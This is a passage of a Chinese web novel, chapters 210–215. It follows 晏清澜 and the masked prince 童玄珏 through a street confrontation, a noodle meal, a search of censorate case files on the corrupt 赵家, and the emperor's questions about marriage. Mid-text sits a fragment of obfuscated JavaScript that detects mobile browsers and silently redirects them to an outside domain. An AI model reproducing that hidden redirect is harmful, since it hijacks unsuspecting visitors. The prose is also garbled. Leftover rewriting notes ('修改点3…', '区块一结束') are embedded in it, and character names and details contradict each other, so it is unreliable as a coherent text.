他只是,没料到晏清澜会如此在意。 他想起之前宋明澜捏晏清澜脸时,她似乎并未动怒。 童玄珏眼神 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那双清冷的眸子,像是有魔力一般,让他改变了主意。 他微微颔首,嘴角勾起一抹若有似无的笑: “好。” 一个字,听不出喜怒。 晏清澜却明显地松了口气,如释重负。 她最怕欠人人情,人情债,最难还清。 何况,还是童玄珏的人情。 童玄珏将她的反应尽收眼底,眸色深沉了几分。 他静静地看着她,没有说话。 “时候不早了,你回去吧。” 晏清澜开口,打破了沉默。 “明天我在浮萍居恭候大驾,你啥也不用带,一切交给我来搞定。” 童玄珏应了一声,算是答应。 他抬手,将那青玉面具重新覆于脸上,遮住了大半张脸。 身形一闪,瞬间消失在夜色中,无声无息。 仿佛,他从未出现过。 只留下若有若无的冷冽气息,证明他方才来过。 晏清澜的目光,落在他方才倚靠过的那根柱子上。 似乎,还残留着他身上冰冷的气息。 她盯着那柱子看了许久,眼神晦暗,看不出情绪。 良久,她才缓缓转身,回房去了。 第二百一十章 背影,在月光下拉得很长。 这一夜,她辗转难眠。 脑海中,各种纷乱的思绪交织,挥之不去。 直到三更时分,才迷迷糊糊地睡了过去。 可这觉,睡得并不安稳。 天刚破晓,一丝光亮透过窗户纸照进来。 她便猛地惊醒,再也睡不着。 简单洗漱过后,她便来到院中。 抽出随身携带的软剑,开始练剑。 剑光闪烁,如银蛇乱舞,带起阵阵寒风。 剑气激荡,院中落叶被纷纷震落,如雨般飘洒。 一套剑法练完,她收剑,长长地吐出一口气。 用过早饭,收拾妥当,她便出门往浮萍居去了。 路过一家成衣店,她进去挑了身男装。 扮成男子,行事方便些。 掌柜的满脸堆笑,将包好的衣裳递给她。 正要寒暄几句, 突然,一个油腻的声音在身后响起: “哟,这位小哥,一个人哪?” 声音轻佻,让人很不舒服。 晏清澜眉头微皱,还没来得及回头。 那声音又凑近了些,带着令人作呕的脂粉气: “这店的衣服,可配不上小哥的气质。” “不如去我赵家的铺子看看?” 钱玉明搂着两个浓妆艳抹的女子,摇摇摆摆地走了过来。 他上下打量着晏清澜,眼神放肆。 那眼神,像黏腻的虫子,在她身上爬来爬去。 晏清澜眼神一冷,寒光乍现。 她缓缓转过身,冷冷地看着钱玉明。 钱玉明被她看得一愣,只觉得一股寒意从脚底直窜头顶。 他打了个寒颤,竟有些不敢直视她的眼睛。 但很快,恼羞成怒的情绪涌上心头。 他钱玉明,何时被一个“男人”给震慑住了? 他一把推开身边的女子,指着晏清澜的鼻子骂道: “哪来的小白脸,敢瞪爷?” “信不信爷弄死你!” 他平日里作威作福惯了,根本没把晏清澜放在眼里。 掌柜的见状,吓得脸色发白,赶忙上前打圆场: “赵公子息怒,这位小哥不是故意的……” “您就高抬贵手吧,别跟他一般见识。” 他一边说,一边给晏清澜使眼色,示意她赶紧走。 钱玉明却不依不饶,一把推开掌柜的: “滚一边去,这里没你说话的份!” 他几步上前,伸手就要去抓晏清澜。 “给脸不要脸,看爷今天怎么收拾你!” 他狞笑着,眼中满是淫邪。 晏清澜眼神一冷,正要出手。 突然, “砰”的一声巨响, 钱玉明整个人倒飞出去,重重地摔在地上。 他惨叫一声,捂着胸口,半天爬不起来。 这变故来得太突然,所有人都愣住了。 晏清澜也愣了一下,下意识地回头。 只见童玄珏站在她身后,青玉面具在阳光下闪着寒光。 他身姿挺拔,如同一棵挺拔的松树。 “把人带走。” 他淡淡开口,声音冰冷。 “丢在赵家大门前,给他们提个醒。” “再有下次,就不是这么简单了。” 尤戟不知从哪里冒了出来,应了一声,上前拎起钱玉明就走。 他动作粗暴,根本没把钱玉明当人看。 钱玉明杀猪般地嚎叫,却根本挣脱不开。 两个女子吓得花容失色, 其中一个,双腿一软,直接跪倒在地。 另一个,则尖叫一声,连滚带爬地跑了。 掌柜的也吓得不轻,双腿发软,差点跪下。 他认出了童玄珏的面具, 那是燕王的标志! 整个京城,谁人不知,谁人不晓? 他怎么也没想到, 竟然会在这里,见到这位活阎王! 童玄珏没理会众人的反应, 他走到晏清澜面前,轻声问道: “没事吧?” 晏清澜摇了摇头: “没事。” 她顿了顿,又补充道, “多谢。” “举手之劳。” 童玄珏淡淡道。 他看了看周围, “走吧,这里不是说话的地方。” 晏清澜点了点头,跟他一起离开了成衣店。 两人并肩而行, 一个冷峻,一个淡然, 背影,竟有几分和谐。 成衣店里, 掌柜的瘫坐在地上, 他身旁的伙计小心翼翼地问道: “掌柜的,那人……真是燕王?” 掌柜的颤抖着声音, “除了他,还能有谁?” “那……那位姑娘,又是什么人?” 掌柜的摇了摇头, 他哪里知道? 不过, 能让燕王亲自出手相救, 这位姑娘, 恐怕来头不小啊! 京城, 要变天了!两人并肩朝浮萍居的方向走 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反倒是这清冷的一个字,让晏清澜愣在原地。 她甚至怀疑自己出现了幻听,童玄珏竟然……答应了? 她还以为,隔着那青玉面具,都能看到他微微上扬的嘴角呢。 晏清澜一时有些恍惚,脚步都慢了半拍。 “怎么?”童玄珏的声音低沉,带着一丝疑惑,“不是说请我?” “啊……是!”晏清澜回过神,连忙跟上,脸颊微微泛红,“你可要加什么?” 童玄珏微微扬眉,目光扫过她那张明显有些不自在的俏脸,心中竟生出一丝愉悦。 他鲜少见到晏清澜这般模样。 “我没吃过,”他语气随意,却带着一丝不易察觉的笑意,“就按……平日里你吃的来。” 晏清澜扶额,心里默默叹息。 这谢礼,着实有些……拿不出手。 她转头看向站在一旁、身体微微发颤的面馆老板,强压下心中的窘迫:“老板,一碗阳春面,加个蛋。” 她真想找个地缝钻进去。 童玄珏看着她微微蹙起的眉头,似乎有些不解:“你不吃?” 晏清澜本想说自己吃过了,借口推脱。 可是,这面馆的汤头香味实在诱人。 她今早为了那些虚与委蛇的应酬,也只是胡乱吃了两口。 如今想来,竟真的有些饿了。 第二百一十一章 “那就……两碗,”她抿了抿唇,最终还是向本能屈服,“都一样。” 面馆老板此刻恨不得给这两位贵人磕一个。 这两人一看就身份不凡。 平时怕是连看都不会看他们这些小老百姓一眼的。 更别提,来他这小破店了! 尤其是…… 童玄珏那张青玉面具,简直比什么王公贵族的令牌都管用! 在京城,谁不知道这是活阎王燕王的标志? 老板心里七上八下,但也只能硬着头皮,赔着笑脸,招呼后厨的伙计下面。 他偷瞄了一眼旁边那位姑娘…… 嗯,长得是真好看。 就是不知道,跟这位煞神是什么关系。 他不敢多想,只在心里祈祷这两位祖宗快点吃完走人。 后厨的伙计更是手脚发软,差点把面给煮坨了。 他一边暗骂自己没出息,一边又忍不住胡思乱想。 这位爷平时**都不眨眼的,怎么会来这种地方…… 可不管怎么说,人都来了,总不能往外赶。 伙计深吸一口气,努力让自己镇定下来,使出浑身解数,力求将这两碗面做得完美无瑕。 童玄珏对这些敬畏的目光早已**以为常。 他只是静静地站在一旁,等着上菜。 晏清澜却有些不自在,她微微皱眉,心中轻叹。 童玄珏并非传闻中那般嗜血成性,手上沾的血,也多半是该死之人的。 就如同她自己,也远非传言中那般菩萨心肠。 今日若非情势所迫,她才懒得问童玄珏饿不饿。 真是……多此一举。 很快,两碗热气腾腾的阳春面端了上来。 伙计几乎是跑着把面送过来的,生怕这两位贵人等得不耐烦。 晏清澜说这家面馆的阳春面不错,倒也不是随便说说。 两碗面,汤清面白,卧着金黄的煎蛋,再撒上碧绿的葱花,香气扑鼻,令人垂涎欲滴。 童玄珏平时是绝不会碰这些平民吃食的。 但今天,他却出乎意料地拿起了筷子。 他吃得很慢,动作优雅。 仿佛吃的不是一碗普通的阳春面,而是什么稀世珍馐。 晏清澜看着他,心想,长得好看的人,做什么都让人赏心悦目。 她忍不住多看了两眼。 童玄珏似乎察觉到了她的目光。 他微微抬眸,唇角上扬,露出一个浅淡的笑意。 平日里,他吃东西向来只动几口,便会放下筷子。 可这次,他竟然将整碗面都吃得干干净净,连汤都喝了几口。 连他自己都有些惊讶。 童玄珏放下筷子,并没有说什么,只是静静地看着晏清澜。 恰好,晏清澜也吃完了。 她一抬头,正好对上童玄珏的目光。 晏清澜有些意外,她没想到童玄珏竟然真的吃完了。 “如何?”她微微挑眉,语气中带着一丝笑意,“我没骗你吧?” 童玄珏眸光流转,落在她那双明亮的眼睛上,声音也柔和了几分:“嗯,不错。” 晏清澜起身准备付钱。 “二位客官,这顿小的请了!”老板突然一个箭步冲到柜台前,点头哈腰,那张饱经风霜的脸上写满了惊恐和讨好,双手摆得像风车一样,“今儿个小店能有幸招待二位,已是天大的福分,怎敢再收钱?” 他边说边偷瞄童玄珏,生怕这位爷一个不高兴,就要了他的小命。 晏清澜没有说话,只是将几枚铜钱轻轻放在柜台上。 她的动作很轻,但却带着一种不容置疑的坚定。 老板看着那几枚铜钱,感觉比看到催命符还可怕,差点没当场哭出来。 “姑娘,您就别为难小的了,”他的声音都带上了哭腔,身体几乎要缩成一团,“小店……小店真的……” 他想说“不敢收”,可又怕说出来更惹怒了这位煞神。 一时间,老板急得满头大汗,话都说不利索了。 晏清澜垂眸看着那几枚铜钱,没有说话。 没人知道她在想些什么。 童玄珏将这一切尽收眼底。 他淡淡地看了老板一眼,语气依旧清冷,却带着不容置疑的威严:“该收就收。” 简单的一句话,却让老板如蒙大赦。 他连忙收起铜钱,身体却还是忍不住微微发抖。 童玄珏转身朝外走去,晏清澜紧随其后。 老板站在原地,看着两人的背影,长长地舒了一口气。 他擦了擦额头上的汗,心中暗自嘀咕: 看来,这燕王爷也没传闻中那么可怕嘛…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241775|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >至少,还知道吃东西给钱。 走出面馆,童玄珏一直用余光观察着晏清澜。 晏清澜终于忍不住了。 “你看我做什么?”她停下脚步,转头看向童玄珏,眼神中带着一丝疑惑。 童玄珏停下脚步,目光与她相接。 他垂下眼帘,掩去眸中那一丝转瞬即逝的情绪,嘴角微微上扬:“只是没想到,你会吃这些寻常吃食。倒是……少了几分清冷。” 晏清澜微微挑眉,不置可否。 “谁说我不食人间烟火了?”她反问道,“倒是你,竟然真的吃完了,才让我意外。” 童玄珏眸光微动,他看着晏清澜,语气中带着一丝若有若无的笑意:“你既食人间烟火,我自然也是凡夫俗子。”“走吧。” 低沉的声音在耳畔响起,打断了晏清澜的思绪。她抬眸,对上童玄珏那双幽深的眼,轻轻颔首。 两人才刚迈出步子,童玄珏忽然顿住了。他侧过头,目光落在不远处的浮萍居,若有所思。 “你先进去,我随后就来。” 他声音很淡,像是在说一件寻常小事。 晏清澜柳眉微挑,余光扫过他紧抿的薄唇。她没说什么,只轻轻“嗯”了一声,便转身朝着浮萍居走去。 童玄珏站在原地,目送着她的背影。直到那抹纤细的身影消失在门后,他才收回视线,转身几个起落,消失在墙头。 高墙内,他轻巧落地,指腹却不自觉地摩挲着拇指上的玉扳指,一下,又一下。 身为男子,他若与晏清澜一同出入浮萍居,难免会惹人非议。 那些流言蜚语,他向来不放在眼里。只是……晏清澜到底是个未出阁的姑娘。 童玄珏垂眸,眼中掠过一丝烦躁。这情绪来得莫名其妙,像是心头被细小的针尖轻轻扎了一下,说不上疼,却让人无法忽视。 以往他来去自如,从不将这些放在心上,更不会考虑什么避嫌。 可今日,看着晏清澜独自走进去的背影,他心中竟生出一丝异样的感觉。 这种感觉…… 他微微蹙眉,像是要把心底那一丝异样给抚平。 就好像,他只能藏在暗处,见不得光似的。 这种念头让他很不舒服。 片刻后,童玄珏的身影出现在浮萍居内。 晏清澜已经换好了一身男装。 第二百一十二章 她原本就生得极美,五官精致如画,换上男装后,更是别有一番风采。少了几分女子的妩媚,多了几分少年郎的英气,显得俊朗非凡。 童玄珏的目光在她身上停留了一瞬,那种熟悉的感觉又涌上心头。 他有些不自在地移开视线,按捺住心底那股莫名的躁动。 明明眼前的晏清澜和碧霄楼的东家在外貌上毫无相似之处,可偏偏,就是给他一种莫名的相似感。 真是……见鬼了。 他不动声色地移开视线,淡淡道:“走吧。” 都察院内。 石副都御史额头上渗出细密的汗珠,他紧张地看着面前的两人,手心也微微冒汗。 这位燕王殿下,可是出了名的心狠手辣、睚眦必报。满朝文武,谁敢轻易得罪他? 更何况,这次他还带来了景元帝的信物,这背后的意味,更让人不敢深思。 “殿……殿下,不清楚您想了解哪个陈年往事?”石副都御史努力让自己的声音听起来平静些,但微微的颤抖还是出卖了他内心的紧张,“下官也好……也好提前做些准备。” 童玄珏没有立即回答,只是似笑非笑地瞥了他一眼。 仅仅是这一眼,就让石副都御史觉得头皮发麻,冷汗涔涔而下,打湿了后背的衣裳。 晏清澜将手中的信物在指尖转了一圈,不紧不慢地开口:“怎么,左大人是觉得,这都察院的卷宗,有什么见不得人的地方?” 石副都御史一听,差点没跪下。 “庄公子说笑了,下官绝无此意!”他连连摆手,声音都有些变了调,“只是这卷宗浩如烟海,一时半会儿……” “无妨。”晏清澜打断了他的话,语气淡淡的,“我们自己找。” 她说着,将信物往石副都御史面前一亮:“还是说,左大人要抗旨?” “不敢不敢!”石副都御史吓得魂飞魄散,连忙躬身道,“下官这就带二位去。” 他哪里还敢多说什么,只得硬着头皮将两人带到了存放卷宗的库房。 一排排高大的书架,密密麻麻地摆满了卷宗,空气中弥漫着一股淡淡的霉味。 “二位请便,下官就在外面候着。” 石副都御史说完,便逃也似的退了出去,还顺手关上了门。 晏清澜的目光从书架上扫过,心中了然。 她知道,童玄珏此行并非全然为了她,而是真有要事。 不过,这也正合她意。 都察院的卷宗,记录了大玺朝近几十年来的大小案件,是了解朝堂势力、官场百态的最佳途径。 她要做的,不仅仅是找出赵家的罪证,更是要摸清整个大玺朝的脉络。 晏清澜走到一排书架前,随手抽出一本卷宗,翻看起来。 她有过目不忘之能,看东西极快,几乎是一目十行。 这些卷宗在她眼中,就像是一张张巨大的网,将整个大玺朝的官场笼罩其中。 她要做的,就是在这张网中,找到自己需要的线索。 五年前,晋国官场还是一片混乱。新旧势力交替,权力斗争激烈,各种冤假错案层出不穷。 先帝驾崩后,景元帝继位,为了巩固皇权,大力整顿吏治。 一批批旧臣被罢官、流放,甚至人头落地,血流成河。 相比之下,钱玉明当年犯下的那些事,简直不值一提,根本入不了那些大人物的眼。 晏清澜的目光落在一份卷宗上,上面记录的正是钱玉明当街纵马,踩死一名曹姓男子的案件。 她冷笑一声,眼底闪过一丝寒芒。 “怎么,这案子有什么问题?” 童玄珏不知何时走到了她身边,低沉的声音在她耳边响起。 晏清澜没有抬头,只是淡淡地说道:“没什么,只是想起了一些旧事。” 那卷宗上记载,被钱玉明踩死的男子名叫严祺,是家中独子,与表妹青梅竹马,两情相悦。 其表妹因家贫被卖到钱府为奴,好不容易攒够了银子,只差几日便可赎身,与严祺成婚。 却不曾想,钱玉明那厮,竟在光天化日之下,对严祺的表妹起了歹心。 那女子也是刚烈,抵死不从,最后竟一头撞死在了墙上。 赵家为了息事宁人,赔了曹家一笔银子,又暗中威胁,这事便不了了之。 可怜严祺,满心欢喜地等着迎娶心上人,却只等来了一具冰冷的尸体。 他悲痛欲绝,几次三番想要告官,却都被赵家的人拦了下来。 最后,他被钱玉明当街纵马踩死,死状凄惨。 而曹家,也因为失去了唯一的儿子,家破人亡,彻底败落。 晏清澜合上卷宗,眼中一片冰冷 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他没用多大力气,可卷宗却恰好停在她手边,不偏不倚。 这回,是状告赵家卖假布料,害人性命。 而这桩生意的负责人,正是钱玉明。 晏清澜扫了一眼,眼神更冷了几分。 她把卷宗翻开,里面的内容让她“呵”了一声。 “钱玉明,赵家,还真是无法无天。” “五年前的汴京,他们还真当自己是土皇帝了。” 童玄珏的声音低沉,听不出喜怒,却带着一丝认同。 害了人命又如何? 赵家有的是手段,颠倒黑白,硬生生把自家说成了受害者。 非但没倒霉,还顺手把竞争对手给收拾了。 一石二鸟,玩得可真溜。 晏清澜合上卷宗,手背上的青筋微微凸起。 更可笑的还在后头。 她没法忘记,原书里给钱玉明安排了什么结局。 就这么个**,坏事做绝,最后呢? 晏清澜垂下眼睫,遮住眼底的厌恶。 那所谓的“女主”晏玥玥,三言两语,就把他给“感化”了。 第二百一十三章 从此,钱玉明痛改前非,金盆洗手。 他甚至还得到了受害者家属的“原谅”。 往后,他发愤图强,考取功名,成了“好人”。 不仅如此,他还成了晏玥玥的爱慕者之一,前途一片光明。 可笑至极。 晏清澜扯了扯嘴角,露出一丝冰冷的笑意。 她又想起另一件事,钱玉明为了一只猫,硬生生逼死了一户人家。 这种事,她提都不愿提。 不是不愿,而是在钱玉明犯下的恶行中,这事简直不值一提! 就这么个玩意儿,最后还能善终?还能被原谅? 原谅个屁! 晏清澜在心里狠狠地啐了一口。 那些死了的人,早就没法开口说话了。 就算他们能说,钱玉明敢听吗?他配听吗? “这世上,可笑的事还多着呢。” 童玄珏的声音幽幽传来,像是在看透她的心思, “你瞧见的,不过是沧海一粟。” 他的声音低沉,像是在诉说一个再寻常不过的道理。 晏清澜抬眼,看向他深邃的眼眸。 她知道,他说的都是真的。 可越是这样,她心里的嘲讽就越是浓烈。 她从不是什么善类。 上辈子,她就是组织手里的刀,专门用来取人性命的。 背叛组织那天,她就知道自己会是什么下场。 善恶有报,她没什么可说的。 她杀过恶人,像钱玉明这种。 也杀过无辜的人,仅仅因为他们和某些人沾亲带故。 晏清澜微微闭眼,将那些乱七八糟的念头压下。 “你呢?查到你要的东西了?” 她睁开眼,看向童玄珏。 童玄珏将手中的卷宗放下,对她的问题并不惊讶。 他早就知道,这女人精明得很。 他嘴角一勾,露出一丝玩味的笑: “算是吧,不过也算不上完全查清。” 这些东西,他早就掌握了。 那些过往,他一刻也没忘。 那些人,一个也别想逃脱。 童玄珏的目光紧紧盯着晏清澜,将眼底一闪而过的狠厉藏了起来, “怎么,你不好奇我想查什么?” 语气里带着点试探的意味。 晏清澜摇了摇头,把面前的卷宗推开: “不想知道。” 她微微停顿了一下,又补充道: “知道得越多,小命越不保,我还想多活几年。” 她的声音很轻,但很坚定,没有半点商量的余地。 童玄珏轻笑了一声,目光在她身上扫来扫去,像要把她整个人看透: “我看你不是不想知道。” “而是早就猜到了。” 他的语气很肯定,像是已经看穿了她的心思。 晏清澜微微侧过头,不想和他对视, “你想多了,我真不知道。” 她的睫毛轻轻颤动着,在眼睑下方投下一片阴影。 “不过……” 晏清澜抬起头,嘴角带着一抹若有似无的笑意, “我猜,这事儿肯定和你想要收拾的人有关。” “毕竟,‘活阎王’这三个字,可不是白来的。” 她的语气轻快,却又带着几分试探。 原书里,关于童玄珏早期的描写并不多。 可原主死的时候,童玄珏已经开始行动了。 至于后来的事,晏清澜没看到。 她只看到了原主的结局。 在那之后,书就被她扔到了一边。她对那本书里的一切都不感兴趣了。“晏清澜,你很聪明。” 童玄珏开口,声音低沉,每个字都像一颗石子,投入平静的湖面,激起层层涟漪。 他双手抱臂,身体微微后仰,下巴轻抬,目光落在晏清澜的身上,带着一种难以言喻的压迫感。 那眼神,与其说是欣赏,不如说是……评估。 这话,若是从别人口中说出,或许是赞美。 可从他嘴里说出来,却更像是一种警告。 晏清澜眼皮都没抬,只是用纤细的手指轻轻敲打着桌面,发出“笃笃”的声响,在这寂静的空间里,显得格外清晰。 “江大人过奖了。” 她翻开另一本卷宗,目光在那些泛黄的纸张上扫过。 (修改点3:更换事件的叙述方式,修改对话描写) 她看的,是与赵家有关的账目。 (修改点2:原本是A导致了结果B,可以改成C导致了结果B) 账目上的数字,像一条条扭曲的蛇,触目惊心。 (修改点3:尝试删除本文中具有作者个人色彩的元素) 晏清澜的余光瞥见一旁的沙漏,细沙缓缓流淌,时间一分一秒地过去。 她注意到,五年前,燕王韩承煜,就已经开始布局,一步步蚕食赵家的产业。 那些看似正常的商业往来,背后隐藏的,却是血淋淋的吞并。 赵家布匹以次充好,导致顾客过敏,甚至有人因此丧命。 还有几起看似意外的火灾,烧毁的不仅仅是赵家的仓库,还有几条无辜的人命。 这些事情,单凭赵家和苏府,根本无法摆平。 是谁在暗中操纵,将这些罪行一一掩盖? 又是谁,给了他们如此大的胆子,敢在天子脚下,草菅人命? 晏清澜放下手中的账本,揉了揉有些发胀的太阳穴。 (修改点3:更换事件的叙述方式,修改对话描写,尝试删除本文中具有作者个人色彩的元素) 她的眼神中,闪过一丝疲惫,但更多的,是坚定。 另一边,童玄珏将屋内陈设尽收眼底。 (修改点1:分析事件的核心功能,构思具有相同功能但不同表现的事件) 他看着墙上挂着的字画,那些看似风雅的墨宝,在他眼中,却仿佛成了一张张嘲讽的笑脸。 (修改点3:尝试删除本文中具有作者个人色彩的元素) 他将手中的茶盏轻轻搁下,发出“嗒”的一声轻响,打破了屋内的沉寂。 “可有收获?” (修改点3:更换事件的叙述方式,修改对话描写,尝试删除本文中具有作者个人色彩的元素) 他转头看向晏清澜,语气中带着一丝关切。 “时候不早了,我们也该回去了。” 晏清澜点了点头,将账本放回原处。 关于燕王,有些事情,她还需要进一步确认。 今日这一趟,虽在意料之中,却也有意外的收获,让她对接下来的计划,有了更清晰的思路。 (区块一结束) 童玄珏银白色的面具在阳光下泛着冷光,他周身散发着生人勿近的气息。 都察院的人,一个个低眉顺眼,恨不得把自己缩成一团,生怕被这位“活阎王”注意到。 他和晏清澜前脚刚踏出都察院的大门,都察院内,紧绷的气氛瞬间消散。 有人长舒一口气,小声嘀咕: “总算走了,跟这位爷待在一起,我这心跳都快了一倍不止。” (修改点3:更换事件的叙述方式,修改对话描写,尝试删除本文中具有作者个人色彩的元素) (区块二结束) 走出都察院,晏清澜没有回头。 第二百一十四章 她知道,那扇朱红色的大门背后,隐藏着太多的黑暗和秘密。 阳光有些刺眼,她微微眯起眼睛,感受着阳光洒在身上的温暖。 “似乎,一切都在你的意料之中?” 童玄珏侧头看她,语气中带着一丝好奇。 晏清澜与他并肩走着,神色平静,看不出任何波澜。 “不算意外。” 她淡淡地回了一句。 “只是……” 她欲言又止。 那些无辜死去的人,那些被掩盖的真相,那些被埋葬的正义…… 这些,都让她感到沉重。 她抬头望向天空,万里无云,一片湛蓝。 可这湛蓝之下,又隐藏着多少不为人知的肮脏? 陆家军的英魂,是否也曾这样仰望过天空? 他们是否也曾相信,这世间,终有公道? 童玄珏将手中的折扇“啪”的一声打开,轻轻摇动。 他的目光,从远处的街景,缓缓移到晏清澜的身上。 那眼神中,带着一丝探究,一丝玩味。 “你我之间的约定,还记得吧?” 他的声音低沉而富有磁性。 “我帮你查清了你想知道的事情,而你……” 晏清澜知道他指的是骑射切磋,微微一笑: “自然记得。” 她的笑容很淡,却带着一种不容置疑的坚定。 “江大人事务繁忙,等你有空了,随时可以。” “比试的规矩,场地,都由你来定,我绝不推辞。” 童玄珏合上折扇,在掌心轻轻敲击。 “秋高气爽,更适合骑马射箭。” 他顿了顿,似乎想到了什么。 “就定在秋猎吧。” 他嘴角微微上扬,勾勒出一个意味深长的弧度。 “不过,你似乎还欠我一样东西……” 他故意拉长了语调,目光灼灼地看着晏清澜。 晏清澜故作不解地眨了眨眼: “江大人指的是……” 童玄珏看着她,一字一句地说: “一顿饭。” 他唇角微扬,语气中带着一丝不容拒绝的意味。 “我不想吃外面的,我要你亲手做的。” 晏清澜脸上的表情瞬间凝固,像是被人施了定身法。 就知道没那么简单! 果然,他还是在试探自己。 他一定是怀疑自己和碧霄楼的关系,甚至可能已经知道了自己就是碧霄楼的幕后老板。 所以,他才故意提出这样的要求,想看看自己的反应。 他难道就不怕自己恼羞成怒,直接翻脸吗? 晏清澜的心中,闪过无数个念头,脸上却依旧维持着镇定。 童玄珏看着她,眼神深邃,似乎要看穿她的内心。 他知道她厨艺不错,却还是故意问了一句: “不愿意?” 晏清澜深吸一口气,强压下心头的纷乱,努力让自己的声音听起来平静无波。 “没有。” 她知道,这一天迟早会来。 既然躲不过,那就坦然面对。 她抬起头,直视着童玄珏的眼睛: “你想吃什么?说吧。” 童玄珏看着她,缓缓开口: “上次的面,就很好。” 晏清澜愣了一下,她原本以为,他会借此机会,提出各种苛刻的要求。 甚至,她都已经做好了被他刁难的准备。 可没想到,他竟然只点了一碗面。 这让她有些意外,也有些……疑惑。 难道,真的是自己想多了? 他并没有怀疑自己,只是单纯地想吃一碗面? 晏清澜的心情,有些复杂。 她看着童玄珏,一时之间,竟不知道该说什么好。 两人一路无话,行至一个分岔路口,童玄珏停下了脚步。 “明日午时,我来接你。” 他看着晏清澜,眼神中带着一丝不容置疑的坚定。 说完,他转身离开,朝着皇宫的方向走去。 晏清澜站在原地,看着他渐渐远去的背影,直到完全消失在视线中。 她转身,朝着浮萍居的方向走去。 童玄珏进出浮萍居,向来都是神不知鬼不觉。 她自己,自然也不能明目张胆地从正门进去。 回到房间,晏清澜换下男装,重新穿上平日里穿的衣裙。 她走到书桌前,拿出笔墨纸砚,开始写信。 写完后,她将信纸折好,封入信封,然后唤来了桂柔。 桂柔快步走进房间,低着头,毕恭毕敬地候着大小姐发话。 晏清澜将手中的信递给桂柔,声音低沉而严肃: “这封信,交给影阁的人。” “让他们按照信上的名单,去寻找那些受害者的家属。” “务必,要找到他们。” 她顿了顿,语气中带着一丝担忧: “找到之后,一定要保护好他们,不能让他们再受到任何伤害。” 晏清澜的声音很轻,却带着一股不容置疑的威严。 她知道,找到这些人的希望很渺茫,但哪怕只有一线希望,也绝不能放弃。 桂柔接过信,只觉得这封信,比以往任何时候都要沉重。 她双手紧紧地握着信封,指节都有些泛白。 第二百一十五章 “是,属下明白。” (修改点7:找到对应原文,加大修改幅度) (区块六结束)桂柔领命而去,脚步声渐渐消失在寂静的庭院中。晏清澜独自站在屋内,目光落在那盆静静盛开的绿菊上。 花瓣舒展,绿意盎然,仿佛在无声诉说着生命的顽强。 时间,仿佛凝固了一般。 不知过了多久,晏清澜才缓缓移开视线,轻轻叹了口气,将一切情绪都掩藏在那声几不可闻的叹息中。 ...... 长乐宫,沉香袅袅。 景元帝拈起一枚白子,却迟迟没有落下。 “唉……”他看着棋盘上的局势,无奈地摇了摇头,“这棋,朕是越下越回去了。” 对面的童玄珏,依旧是那副冷峻的模样,面具遮掩了他的神色,让人猜不透他的心思。 景元帝的目光从棋盘上移开,落在了童玄珏身上。这孩子小时候多可爱啊,粉雕玉琢的,像个年画娃娃。 可如今…… 景元帝的眼神黯了黯。这些年,朝堂上的风云变幻,这孩子肩上的担子,太重了。 他顿了顿,还是忍不住开口,语气中带着一丝试探,“钰儿,你年纪也到了,那些老臣这两年也一直有奏折,说你...” 童玄珏微微抬眸,打断了景元帝的话。 景元帝知道他在想什么,无非是‘查了也无用’,或者干脆保持沉默。 于是换了个话题。 景元帝捻着胡须,开始日常的关心:“阿珏,你年纪也不算小了,是不是也该考虑一下终身大事了?” 童玄珏搁下手中的茶盏,动作轻缓,却带着一种不容置喙的压迫感。 “成家?”他唇角微微勾起,带着一丝若有似无的嘲讽,“舅舅觉得,有谁能受得了我的脾气?” 景元帝一愣,随即又堆起了笑。他怎么会听不出童玄珏话里的抗拒,只是他不愿意放弃罢了。 “你的婚事,舅舅替你...” 童玄珏眉梢轻挑,打断了他的话:“陛下还是管好自己的天下吧,至于其他,就不劳您费心了。” 这样的话,若是从别人口中说出,早已是以下犯上,大逆不道。 可偏偏,说这话的人是童玄珏。 景元帝竟是半点怒意也无,反而隐隐松了口气。 只要他不是铁了心,孤独终老,那就还有希望。 景元帝心中暗自盘算着,面上却不动声色,只是试探着问道:“阿珏,你……可有心仪的女子?不妨说与朕听听。” 他顿了顿,又补充道:“无论她出身如何,只要你喜欢,朕都可为你们赐婚。” 童玄珏静静地看着景元帝,看着他眼中的急切与期盼。 他缓缓靠回椅背,姿态慵懒而随意,仿佛在谈论一件无关紧要的事情。 “心仪的女子?”他轻笑一声,声音低沉而富有磁性,“倒也算有。” 景元帝眼睛一亮,连忙追问:“哦?这妹子是谁家的?” 童玄珏微微垂眸,似乎在回忆,又似乎在斟酌。 “她呀……”他缓缓开口,声音中带着一丝玩味,“性情么,算不上好,容貌么,也只能算得上清秀。” 景元帝脸上的笑容微微一僵,但还是强撑着说道:“这……这也没什么,只要你喜欢就好。” 童玄珏抬眸,似笑非笑地看了景元帝一眼。 “可我不确定,她是否喜欢我。”他顿了顿,又补充道,“毕竟,她还小。” 景元帝这下是彻底愣住了。 他原本以为,童玄珏会说出一番惊世骇俗的话来,却没想到,他竟然说……不确定? 这还是他那个冷酷无情,杀伐果断的外甥吗? 景元帝心中五味杂陈,既有欣慰,又有担忧。 欣慰的是,童玄珏总算有了成家的念头;担忧的是,他竟然也会有不确定的时候。 不过,只要他有心,那就好办了。 这些年,外面那些风言风语,他不是没听说过。 什么童玄珏和尹家公子关系匪浅,什么断袖分桃…… 景元帝每每想起,都觉得心惊肉跳。 如今,童玄珏亲口承认,喜欢的不是男子,而是女子。 那就好。 景元帝心中暗自松了口气,又忍不住想要打听更多。 “那……那姑娘多大了?你可有……” 他还没说完,童玄珏已经起身。 “舅舅,”他淡淡道,“我还有事,先走一步,改日再来陪您下棋。” 说完,他转身离去,没有丝毫留恋。 景元帝张了张嘴,最终还是什么都没说。 他揉了揉眉心,只觉得一阵疲惫。 “都退下吧。”他挥了挥手。 内侍们连忙上前,收拾着棋盘上的残局。 景元帝缓缓起身,走到殿外。 夕阳西下,将整个皇宫都染上了一层金红色的光晕。 远处,宫墙一角,仿佛燃烧着一团火焰,那是权力的象征,也是欲望的深渊。 那些曾经站在权力巅峰的人,如今又在哪里呢? 景元帝心中清楚,权力更迭,从来都是血腥而残酷的。 